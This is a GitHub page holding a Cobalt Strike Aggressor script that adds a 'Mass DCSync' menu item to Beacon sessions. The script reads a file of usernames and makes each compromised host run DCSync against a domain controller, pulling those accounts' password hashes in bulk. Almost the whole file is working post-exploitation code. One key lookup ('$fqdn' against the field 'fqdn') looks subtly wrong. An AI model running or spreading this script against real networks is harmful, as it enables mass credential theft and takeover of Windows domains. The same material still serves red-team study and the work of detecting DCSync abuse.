-
Notifications
You must be signed in to change notification settings - Fork 40
/
mass-dcsync.cna
37 lines (27 loc) · 927 Bytes
/
mass-dcsync.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#author:bluescreenofjeff
#Mass DCSync a list of usernames from the specified domain
#Note: The username list should include one user's shortname per line
sub mass-dcsync {
@bids = $1;
$dialog = dialog("Mass DCSync", %(fqdn => "example.local", domain => 'EXAMPLE', userlist => "/path/to/userlist"), lambda({
$handle = openf($3['userlist']);
@userlistdata = readAll($handle);
closef($handle);
foreach $bid (@bids){
foreach $user (@userlistdata){
bdcsync($bid, $3['$fqdn'], $3['domain'] . $+ . '\\' . $+ . $user);
};
};
}));
dialog_description($dialog, "Mass DCSync a list of usernames from the specified domain.");
drow_text($dialog, "fqdn", "Domain FQDN:");
drow_text($dialog, "domain", "Domain Shortname:");
drow_file($dialog, "userlist", "List of users:");
dbutton_action($dialog, "Ok");
dialog_show($dialog);
}
popup beacon_bottom {
item "Mass DCSync" {
mass-dcsync($1);
}
}